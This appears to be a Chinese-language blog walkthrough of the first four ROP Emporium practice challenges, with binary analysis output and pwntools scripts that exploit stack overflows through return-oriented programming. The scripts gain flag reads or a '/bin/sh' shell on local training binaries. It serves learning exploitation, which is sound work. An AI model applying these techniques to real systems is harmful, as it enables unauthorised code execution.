ROP Emporium (上)

注意:64位传参前六个参数使用寄存器RDI、RSI、RDX、RCX、R8、R9

ret2win#

x86#

先查看一些基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/ret2win32$ checksec ret2win32 
[*] '/home/ubuntu/rop_emporium_all_challenges/ret2win32/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/ret2win32$ rabin2 -qs ret2win32 | grep -ve imp -e ' 0 '
0x00002068 1 completed.7200
0x000005f6 99 pwnme
0x00000659 41 ret2win
0x000006f0 2 __libc_csu_fini
0x000004b0 4 __x86.get_pc_thunk.bx
0x00002040 4 stderrGLIBC_2.0
0x0000070c 4 _IO_stdin_used
0x00000690 93 __libc_csu_init
0x00002060 4 stdinGLIBC_2.0
0x00000708 4 _fp_hw
0x00002064 4 stdoutGLIBC_2.0
0x0000057b 123 main
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/ret2win32$ rabin2 -z ret2win32
[strings]
addr=0x08048710 off=0x00000710 ordinal=000 sz=24 section=.rodata string=ret2win by ROP Emporium
addr=0x08048728 off=0x00000728 ordinal=001 sz=7 section=.rodata string=32bits
addr=0x08048731 off=0x00000731 ordinal=002 sz=8 section=.rodata string=Exiting
addr=0x0804873c off=0x0000073c ordinal=003 sz=96 section=.rodata string=For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
addr=0x0804879c off=0x0000079c ordinal=004 sz=30 section=.rodata string=What could possibly go wrong?
addr=0x080487bc off=0x000007bc ordinal=005 sz=100 section=.rodata string=You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
addr=0x08048821 off=0x00000821 ordinal=006 sz=3 section=.rodata string=>
addr=0x08048824 off=0x00000824 ordinal=007 sz=29 section=.rodata string=Thank you! Here's your flag:
addr=0x08048841 off=0x00000841 ordinal=008 sz=18 section=.rodata string=/bin/cat flag.txt

看到有函数pwnme,ret2win,同时也有字符串/bin/cat flag.txt
再用IDA看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("ret2win by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}

----------------------------------------------------------------
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ");
return fgets(&s, 50, stdin);
}

------------------------------------------------------------------
int ret2win()
{
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}

基本很明白了,利用pwnme中的s栈溢出跳转到ret2win部分即可

exp如下:

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
ret_addr = 0x8048659
payload = 'a'*(0x28+4)+p32(ret_addr)
p = process('./ret2win32')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

或者直接python -c "print 'a'*(0x28+4)+'\x59\x86\x04\x08'" | ./ret2win32

x64#

1
2
3
4
5
6
7
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/ret2win$ checksec ret2win
[*] '/home/ubuntu/rop_emporium_all_challenges/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

和32没什么区别,IDA看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("ret2win by ROP Emporium");
puts("64bits\n");
pwnme();
puts("\nExiting");
return 0;
}

-------------------------------------------------------------
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ", 0LL);
return fgets(&s, 50, stdin);
}

---------------------------------------------------------------
int ret2win()
{
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}

由于没有其余参数,所以无差

exp如下:

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
ret_addr = 0x400811
payload = 'a'*(0x20+8)+p64(ret_addr)
p = process('./ret2win')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

split#

x86#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/split$ checksec split32
[*] '/home/ubuntu/rop_emporium_all_challenges/split/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/split$ rabin2 -z split32
[strings]
addr=0x080486f0 off=0x000006f0 ordinal=000 sz=22 section=.rodata string=split by ROP Emporium
addr=0x08048706 off=0x00000706 ordinal=001 sz=7 section=.rodata string=32bits
addr=0x0804870f off=0x0000070f ordinal=002 sz=8 section=.rodata string=Exiting
addr=0x08048718 off=0x00000718 ordinal=003 sz=44 section=.rodata string=Contriving a reason to ask user for data...
addr=0x08048744 off=0x00000744 ordinal=004 sz=3 section=.rodata string=>
addr=0x08048747 off=0x00000747 ordinal=005 sz=8 section=.rodata string=/bin/ls
addr=0x0804a030 off=0x00001030 ordinal=000 sz=18 section=.data string=/bin/cat flag.txt

7 strings

IDA看下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
puts("Contriving a reason to ask user for data...");
printf("> ");
return fgets(&s, 96, stdin);
}

-----------------------------------------------------------------
int usefulFunction()
{
return system("/bin/ls");
}

显然就是ROP,调用system,传入/bin/cat flag.txt字符串地址了

exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./split32')
p = process('./split32')
sys_plt = elf.symbols['system']
payload = 'a'*(0x28+4)+p32(sys_plt)+p32(0xdeadbeaf)+p32(0x0804a030)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

x64#

只有一个传参的区别,找一下gadget

1
2
3
4
5
6
7
8
9
10
11
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/split$ rabin2 -z split
[strings]
addr=0x004008a8 off=0x000008a8 ordinal=000 sz=22 section=.rodata string=split by ROP Emporium
addr=0x004008be off=0x000008be ordinal=001 sz=7 section=.rodata string=64bits
addr=0x004008c7 off=0x000008c7 ordinal=002 sz=8 section=.rodata string=Exiting
addr=0x004008d0 off=0x000008d0 ordinal=003 sz=44 section=.rodata string=Contriving a reason to ask user for data...
addr=0x004008fc off=0x000008fc ordinal=004 sz=3 section=.rodata string=>
addr=0x004008ff off=0x000008ff ordinal=005 sz=8 section=.rodata string=/bin/ls
addr=0x00601060 off=0x00001060 ordinal=000 sz=18 section=.data string=/bin/cat flag.txt
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/split$ ROPgadget --binary split --only "pop|ret" | grep "rdi"
0x0000000000400883 : pop rdi ; ret

IDA看下:

1
2
3
4
5
6
7
8
9
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts("Contriving a reason to ask user for data...");
printf("> ", 0LL);
return fgets(&s, 96, stdin);
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./split')
p = process('./split')
sys_plt = elf.symbols['system']
pop_rdi_ret = 0x0000000000400883
string_addr = 0x601060
payload = 'a'*(0x20+8)+p64(pop_rdi_ret)+p64(string_addr)+p64(sys_plt)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

callme#

x86#

1
2
3
4
5
6
7
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/callme$ checksec callme32 
[*] '/home/ubuntu/rop_emporium_all_challenges/callme/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

用IDA查看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
puts("Hope you read the instructions...");
printf("> ");
return fgets(&s, 256, stdin);
}
--------------------------------------------------------------
void __noreturn usefulFunction()
{
callme_three(4, 5, 6);
callme_two(4, 5, 6);
callme_one(4, 5, 6);
exit(1);
}

看了下,应该是构造ROP,分别调用callme_one,callme_two,callme_three,在.so文件中看到都是三个参数,得是1,2,3。所以为了维持栈平衡,需要找pop三次ret的gadget。

1
2
3
4
5
6
7
8
9
10
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/callme$ ROPgadget --binary callme32 --only 'pop|ret' 
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

所以找到了gadget地址0x080488a9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./callme32')
p = process('./callme32')
callme_one = elf.symbols['callme_one']
callme_two = elf.symbols['callme_two']
callme_three = elf.symbols['callme_three']
pop_pop_pop_ret = 0x080488a9
payload = 'a'*(0x28+4)
payload += p32(callme_one)+p32(pop_pop_pop_ret)+p32(1)+p32(2)+p32(3)
payload += p32(callme_two)+p32(pop_pop_pop_ret)+p32(1)+p32(2)+p32(3)
payload += p32(callme_three)+p32(pop_pop_pop_ret)+p32(1)+p32(2)+p32(3)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

x64#

同上,只是参数传递不同,三个参数分别用rdi、rsi、rdx传递,所以找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/callme/callme$ ROPgadget --binary callme --only 'pop|ret' 
Gadgets information
============================================================
0x0000000000401b1c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b20 : pop r14 ; pop r15 ; ret
0x0000000000401b22 : pop r15 ; ret
0x0000000000401b1b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401900 : pop rbp ; ret
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
0x0000000000401ab2 : pop rdx ; ret
0x0000000000401b21 : pop rsi ; pop r15 ; ret
0x0000000000401ab1 : pop rsi ; pop rdx ; ret
0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004017d9 : ret

Unique gadgets found: 14

找到gadget地址0x0000000000401ab0
构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./callme')
p = process('./callme')
callme_one = elf.symbols['callme_one']
callme_two = elf.symbols['callme_two']
callme_three = elf.symbols['callme_three']
pop_pop_pop_ret = 0x401ab0
payload = 'a'*(0x20+8)
payload += p64(pop_pop_pop_ret)+p64(1)+p64(2)+p64(3)+p64(callme_one)
payload += p64(pop_pop_pop_ret)+p64(1)+p64(2)+p64(3)+p64(callme_two)
payload += p64(pop_pop_pop_ret)+p64(1)+p64(2)+p64(3)+p64(callme_three)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

write4#

考察任意地址写,举例如下:

1
2
3
4
5
pop r1 
pop r2
ret;(r1存地址,r2存信息)
mov ptr [r1], r2
ret;(将r2的内容存入r1指向的地址)

x86#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ checksec write432
[*] '/home/ubuntu/rop_emporium_all_challenges/write4/write432'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ rabin2 -z write432
[strings]
addr=0x08048700 off=0x00000700 ordinal=000 sz=23 section=.rodata string=write4 by ROP Emporium
addr=0x08048717 off=0x00000717 ordinal=001 sz=7 section=.rodata string=32bits
addr=0x08048720 off=0x00000720 ordinal=002 sz=8 section=.rodata string=Exiting
addr=0x08048728 off=0x00000728 ordinal=003 sz=41 section=.rodata string=Go ahead and give me the string already!
addr=0x08048751 off=0x00000751 ordinal=004 sz=3 section=.rodata string=>
addr=0x08048754 off=0x00000754 ordinal=005 sz=8 section=.rodata string=/bin/ls

6 strings

用IDA看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
puts("Go ahead and give me the string already!");
printf("> ");
return fgets(&s, 512, stdin);
}

-----------------------------------------------------------------------
int usefulFunction()
{
return system("/bin/ls");
}

有system,但是字符串不是我们想要的,如果可以改成调用system('/bin/sh')就好了,所以需要我们自己写入这个字符串。找一下任意地址写的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ ROPgadget --binary write432 --only "mov|pop|ret"
Gadgets information
============================================================
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x080486db : pop ebp ; ret
0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x080486da : pop edi ; pop ebp ; ret
0x080486d9 : pop esi ; pop edi ; pop ebp ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1

Unique gadgets found: 10

看到地址0x080486da0x08048670两条gadget满足需求。同时x86系统一次只能写入4个字节,故需要将字符串拆分 成两次分别写入.data

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os = 'linux',arch = 'i386', log_level = 'debug')
elf = ELF('./write432')
p = process('./write432')
pop_edi_pop_ebp_ret=0x080486da
mov_ptredi_ebp_ret=0x08048670
data_addr = 0x0804a028
payload = 'a'*(0x28+4)
payload += p32(pop_edi_pop_ebp_ret)
payload += p32(data_addr)+'/bin'
payload += p32(mov_ptredi_ebp_ret)
payload += p32(pop_edi_pop_ebp_ret)
payload += p32(data_addr+4)+'/sh\x00'
payload += p32(mov_ptredi_ebp_ret)
payload += p32(elf.symbols['system'])+p32(0xdeadbeaf)+p32(data_addr)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

x64#

区别在于传参,同时字符串/bin/sh只需要一次就可以完全写入
找下gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ ROPgadget --binary write4 --only "mov|pop|ret"
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

Unique gadgets found: 16

可以看到0x00000000004008200x0000000000400890处的gadget满足要求

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os = 'linux',arch = 'amd64', log_level='debug')
elf = ELF('./write4')
p = process('./write4')
data_addr = 0x0000000000601050
pop_r14_pop_r15_ret = 0x0000000000400890
mov_ptrr14_r15_ret = 0x0000000000400820
pop_rdi_ret = 0x0000000000400893
payload = 'a'*(0x20+8)
payload += p64(pop_r14_pop_r15_ret)
payload += p64(data_addr)
payload += '/bin/sh\x00'
payload += p64(mov_ptrr14_r15_ret)
payload += p64(pop_rdi_ret)
payload += p64(data_addr)
payload += p64(elf.symbols['system'])
p.recvuntil('>')
p.sendline(payload)
p.interactive()

评论